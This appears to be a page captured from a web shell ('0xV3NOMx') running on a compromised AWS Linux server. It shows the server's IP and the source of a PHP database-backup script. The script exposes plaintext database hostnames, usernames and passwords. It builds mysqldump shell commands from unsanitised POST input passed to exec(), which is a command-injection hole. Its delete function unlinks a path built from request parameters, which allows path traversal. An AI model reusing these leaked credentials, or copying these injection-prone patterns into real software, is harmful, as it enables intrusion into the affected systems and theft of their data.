0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.59.91.59


Current Path : /proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/backup_1.php

<?php

require_once(_DIR_."/../aws/aws-autoloader.php");
use Aws\S3\S3Client;
use Aws\S3\Exception\S3Exception;

error_reporting(-1);
ini_set('display_errors', 'On');

function backupdb_1($aobj_context)
{
        set_time_limit(300);
        
        $final_array = $_POST['final_array'];
        $bkname = $_POST['bkname'];
        $final_array = json_decode($final_array); 
        array_map('unlink', glob($aobj_context->main_src.$aobj_context->mobj_data["db"].'/backup/*.sql'));

        include("/var/www/config.php");
	$dbhost = SERVERNAME;
	$dbuser   = USERNAME;
	$dbpass  = PASSWORD;

        // $dbhost = 'logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com';
        // $dbuser = 'admin';
        // $dbpass = 'T0g3th3r@all';


        $files = $final_array;        
        for ($i=0; $i<count($files); $i++) {
                $cnd = $aobj_context->main_src.$aobj_context->mobj_data["db"].'/backup/'.$files[$i].'.sql';                      
                $command='mysqldump --opt -h'.$dbhost.' -u'.$dbuser.' -p'.$dbpass.' logisys3_'.$aobj_context->mobj_data["db"].' '.$files[$i].' > '.$cnd.'';
                $res = exec($command);
                // var_dump($command);
        }        


        $zipname = './'.$aobj_context->mobj_data["db"].'/backup/'.$bkname.date("Y-m-d-h-i-s").'.zip';
        $zip = new ZipArchive;
        $zip->open($zipname, ZipArchive::CREATE);        



        foreach (glob($aobj_context->main_src.$aobj_context->mobj_data["db"].'/backup/*.sql') as $file) {
                $zip->addFile($file, basename($file));
        }
       
        $zip->close();
        
       if($zipname){                
               $arr['status'] = 'Backup Successfull';
               echo json_encode($arr);
               return;
       }
}

function backupdb_all($aobj_context)
{
        $db_arr = [];
        // set_time_limit(300);
        ini_set('memory_limit', '-1');
        

        $dbhost = 'logisys2013.cv9maxyrxjgg.ap-south-1.rds.amazonaws.com';
        $dbuser = 'admin';
        $dbpass = 'Logisys$1997';
        
        $show_db = "show databases";
        $show_res = $aobj_context->mobj_db->GetAll($show_db);

        for($j=0; $j<count($show_res); $j++){
                if($show_res[$j]['Database']!= "information_schema" && 
                   $show_res[$j]['Database']!= "mysql"&&
                   $show_res[$j]['Database']!= "performance_schema"&&
                   $show_res[$j]['Database']!= "phpmyadmin"&&
                   $show_res[$j]['Database']!= "logisys3_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_demo"&&
                   $show_res[$j]['Database']!= "logisys3_aims_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_bcu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_bnu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_dud_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gach_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gcc_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gcg_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gcm_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gcw_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gfgcg_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gsc_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gsh_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_gug_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_jssm_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_jssu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_jssw_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_kswu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_kus_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_kusd_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_mcu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_mum_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_nehu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_nitte_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_rcu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_reva_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_sdu_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_sikkim_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_sjvp_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_ssa_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_ssc_bkp"&&
                   $show_res[$j]['Database']!= "logisys3_stph_bkp"){
                        $db_arr[$j]['Database'] = $show_res[$j]['Database'];
                   }
        }

        foreach($db_arr as $key => $val){
                unlink('backup/'.$val['Database'].date("d-m-Y").'.gz');
                if($val['Database'] == 'logisys3_dypatil'){
                
                        $backup_file = $aobj_context->main_src.'backup/'.$val['Database']. '_'.date("d-m-Y") . '.sql';
                        $command='mysqldump --opt -h'.$dbhost.' -u'.$dbuser.' -p'.$dbpass.' '.$val['Database'].' > '.$backup_file.'';
                        exec($command);

                        if($backup_file){
                                $gzfile = 'backup/'.$val['Database'].date("d-m-Y").'.gz';
                                $fp = gzopen ($gzfile, 'w9');
                                gzwrite ($fp, file_get_contents($backup_file));
                                gzclose($fp);
                                unlink($backup_file);

                                $file_path = $aobj_context->main_src.'backup/'.$val['Database'].date("d-m-Y").'.gz';
                                

                                if(file_exists($file_path)){
                                        $folder = date('d-m-Y');
                                        $s3 = S3Client::factory(
                                        array('credentials' => array(
                                                'key' => IAM_KEY,
                                                'secret' => IAM_SECRET
                                                ),
                                                'version' => "latest",
                                                'region'  => 'ap-south-1'
                                        ));
                                        
                                        try {
                                                var_dump($folder);
                                                $s3->putObject(['Bucket' => "logisys-bkps", 'Key' => date('d-m-Y')."/".$val['Database'].date("d-m-Y").'.gz', 'SourceFile' => $file_path]);
                                                unlink($file_path);
                                        }catch(S3Exception $e) {
                                                $arr['msg'] = 'Failed to upload';
                                                echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
                                                return;
                                        }
                                }
                        }
                }
        
        }     
}


function delete_zip($aobj_context){
        $del = $_POST["del"];
        $db = $_GET["db"];

        
        $delete_path = $aobj_context->main_src."$db".'/backup/'."$del";
        // var_dump($delete_path);
        // die();

        if(unlink($delete_path)){
                $data = 1;
                
               echo json_encode($data);

        }else{
                
                $data = 0;
                echo json_encode($data);

        }
        


        
}


?>